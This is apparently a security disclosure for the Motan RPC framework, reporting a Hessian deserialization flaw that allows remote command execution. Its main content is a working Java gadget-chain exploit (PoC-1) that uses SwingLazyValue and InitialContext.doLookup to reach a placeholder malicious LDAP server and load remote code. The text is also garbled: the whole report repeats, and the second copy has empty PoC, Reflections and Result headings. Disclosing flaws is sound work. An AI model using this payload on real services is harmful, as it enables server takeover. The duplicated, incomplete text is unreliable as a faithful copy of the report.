Motan utilizes the native Hessian protocol as part of its RPC communication. After conducting an in-depth analysis of Motan, we have identified a security issue, wherein attackers can potentially achieve Remote Command Execution (RCE) attacks by crafting carefully constructed payloads.
Reproduce
The Server Side
We utilized the built-in "motan-demo" module from the project to set up the testing environment.
The JDK version used is 8u112.
The Malicious LDAP Server
We used this tool to set up a malicious ldap server:
PoC
We would provide two PoCs to reproduce this vulnerability. All of the classes used in the PoC are JDK-native or introduced by the demo itself.
PoC-1
public static Object getEvil() throws Exception {
ConcurrentHashMap concurrentHashMap = new ConcurrentHashMap();
concurrentHashMap.put("aaa", "an,");
UIDefaults uiDefaults = new UIDefaults();
uiDefaults.put("aaa", new SwingLazyValue("javax.naming.InitialContext", "doLookup", new Object[]{"malicious ldap server address"}));
HashMap map1 = new HashMap();
HashMap map2 = new HashMap();
map1.put("yy",uiDefaults);
map1.put("zZ",concurrentHashMap);
map2.put("yy",concurrentHashMap);
map2.put("zZ",uiDefaults);
HashMap s = new HashMap();
Reflections.setFieldValue(s, "size", 2);
Class nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
Reflections.setAccessible(nodeCons);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, map1, map1, null));
Array.set(tbl, 1, nodeCons.newInstance(0, map2, map2, null));
Reflections.setFieldValue(s, "table", tbl);
return s;
}
Problem Description
Motan utilizes the native Hessian protocol as part of its RPC communication. After conducting an in-depth analysis of Motan, we have identified a security issue, wherein attackers can potentially achieve Remote Command Execution (RCE) attacks by crafting carefully constructed payloads.
Reproduce
The Server Side
We utilized the built-in "motan-demo" module from the project to set up the testing environment. The JDK version used is 8u112.
The Malicious LDAP Server
We used this tool to set up a malicious ldap server:
PoC
We would provide two PoCs to reproduce this vulnerability. All of the classes used in the PoC are JDK-native or introduced by the demo itself.
PoC-1
PoC-2
The PoC only works in *unix-like platform. Besides, the Jaskson's BaseJsonNode should be re-write before running the PoC:
The
Reflections
class:Send the payload
We use the built-in "motan-demo-client" to send the PoC
Result
PoC1:
PoC2: